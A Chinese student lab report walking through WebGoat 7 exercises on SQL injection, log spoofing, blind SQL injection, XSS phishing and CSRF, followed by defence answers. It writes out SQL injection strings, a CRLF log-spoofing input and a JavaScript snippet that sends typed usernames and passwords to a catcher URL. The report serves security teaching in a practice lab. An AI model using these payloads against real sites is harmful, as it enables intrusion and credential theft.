Exp9 Web安全基础 20175124符嘉讯
2021-02-16 19:16
标签:hub 资源 系统管理员 过滤 天气 修改 发送 需要 获得 一开始先下载WebGoat,由于WebGoat 7的jar文件已自带了tomcat和数据库,所以不需要再另外安装tomcat和mysql这种东西,只需要安装jdk用于运行jar文件即可。jdk安装过程不再辍述,如果需要,可参考https://www.cnblogs.com/lsdb/p/6511907.html这篇文章。 介绍:WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。 2、在含有该文件的目录下使用命令java -jar webgoat-container-7.0.1-war-exec.jar运行Webgoat,出现信息: Starting ProtocolHandler ["http-bio-8080"]说明开启成功,可以看到占用8080端口,实验过程中不要关闭终端 3、在浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面 4、 使用默认用户名密码guest登录即可(其中Java Source是源码、Solution是答案、Hints是提示) 在左侧菜单栏中选择Injection Flaws->Command Injection 右键点击复选框选择Inspect Element审查网页元素对源代码 点击网页内View可以看到网络端口使用情况和IP地址 在左侧菜单栏中选择Injection Flaws->Numeric SQL Injection 右键点击复选框选择Inspect Element审查网页元素对源代码 -点击Go!显示所有天气数据 利用回车0D%和换行符%0A让其在日志中两行显示 在User Name中填入webgoat%0d%0aLogin Succeeded for username: hj20175121 点击Login可以看到webgoat Login Fail,自己添加的hj20175121 Login Succeeded 使用‘提前闭合"",插入永真式1=1,--注释掉后面的内容 输入查询的用户名yb‘ or 1=1--select表里面的所有数据 右键点击页面,选择inspect Element审查网页元素对源代码进行修改,将password密码框的最大长度限制改为20 以用户Neville登录,输入密码fjx‘ or ‘1‘ = ‘1 攻击成功,得到所有人员列表 输入查询语句101 AND 1=1 ,因为两个条件都成立,所以页面返回帐号有效 输入查询语句101 AND 1=2,因为第二个条件不成立,所以而页面返回帐号无效 针对查询语句的后半部分构造复杂语句101 AND ((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) > 10000 ); 如果页面提示帐号有效,说明PIN>10000,否则PIN;不断调整数值,可以利用二分法,最终判断出PIN数值的大小为2364 最终得到正确PIN值2364,输入验证 在搜索框输入如下代码,页面增加一个表单 XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } 输入用户名和密码,读取在表单上输入的用户名和密码信息并发送给捕获这些信息的WebGoat 在title中任意输入字符,留言板中输入后点击Submit攻击成功 查看页面右侧Parameters中的src和menu值,分别为324和900 在title中输入任意参数,message框中输入 ,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交 查看页面右侧Parameters中的src和menu值分别为321和900 并在title框中输入学号,message框中输入代码: 在Message List中生成以Title命名的链接,点击进入后,攻击成功 GitHub上下载WebGoat需要梯子链接外网,我没有梯子,最后找了同学要到了资源。 (1)SQL注入攻击原理,如何防御 1、普通用户与系统管理员用户的权限要有严格的区分。 2、强迫使用参数化语句。 3、加强对用户输入的验证。 4、使用SQL Server数据库自带的安全参数。 5、jsp中调用该函数检查是否包含非法字符,防止SQL从URL注入。 (2)XSS攻击的原理,如何防御 防御手段: 1、在表单提交或者url参数传递前,对需要的参数进行过滤。 2、消除网站的XSS漏洞,需要网站开发者运用转义安全字符等手段。 (3)CSRF攻击原理,如何防御 1、使用验证码:每一个重要的post提交页面,使用一个验证码,因为第三方网站是无法获得验证码的。还有使用手机验证码,比如转账是使用的手机验证码。 3、使用token:每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定为CSRF攻击。 4、将敏感操作get改为post,然后在表单中使用token. 使用post有利于防御CSRF攻击。 5、避免全站通用的cookie,严格设置cookie的域。 通过本次实验,我学习了SQL注入攻击、XSS攻击和CSRF攻击,了解了这些攻击的原理。虽然操作的时候挺简单,但是要深入理解其背后的原理还是有一定难度的。在实验过程中遇到了各种各样的问题,一开始下不动,查找原因是因为需要梯子,于是我就找了做过的同学要了资源。通过这些学习,我了解了各种通过网页的攻击,以后上网要秉持一颗谨慎的心态,这样才不会轻易落入他人陷阱。 Exp9 Web安全基础 20175124符嘉讯 标签:hub 资源 系统管理员 过滤 天气 修改 发送 需要 获得 原文地址:https://www.cnblogs.com/fjx951753/p/12967039.html
一、实践步骤
1.1 前置条件说明
1.2 Webgoat安装
1、下载webgoat-container-7.0.1-war-exec.jar文件
1.3 开始攻击
1.3.1 SQL注入攻击
1、Command Injection(命令注入)
2、Numeric SQL Injection(数字型SQL注入)
3、Log Spoofing(日志欺骗)
4、String SQL Injection(字符串型注入)
5、LAB: SQL Injection
6、Blind Numeric SQL Injection(数字型盲注入)
1.3.2 XSS攻击
1、Phishing with XSS 跨站脚本钓鱼攻击
2、存储型XSS攻击(Stored XSS Attacks)
1.3.3 CSRF攻击
1、跨站请求伪造(Cross Site Request Forgery (CSRF))
2、绕过 CSRF 确认( CSRF Prompt By‐Pass)
二、实验总结与体会
2.1 实验中遇到的问题
2.2 基础问题回答
SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL命令的目的。
防御手段:
XSS是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。一旦攻击成功,它可以获取用户的联系人列表,然后向联系人发送虚假诈骗信息,可以删除用户的日志等等,有时候还和其他攻击方式同时实施比如SQL注入攻击服务器和数据库、Click劫持、相对链接劫持等实施钓鱼。
CSRF(Cross site request forgery),即跨站请求伪造。CSRF就是借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”。
一般而且存在XSS漏洞的网站,也极有可能存在CSRF漏洞。因为CSRF攻击中的那个“伪造的请求”的URL地址,一般是通过XSS攻击来注入到服务器中的。所以其实CSRF是以XSS为基础的,也可以看做是XSS攻击的一种。
防御手段:
2.3 实验体会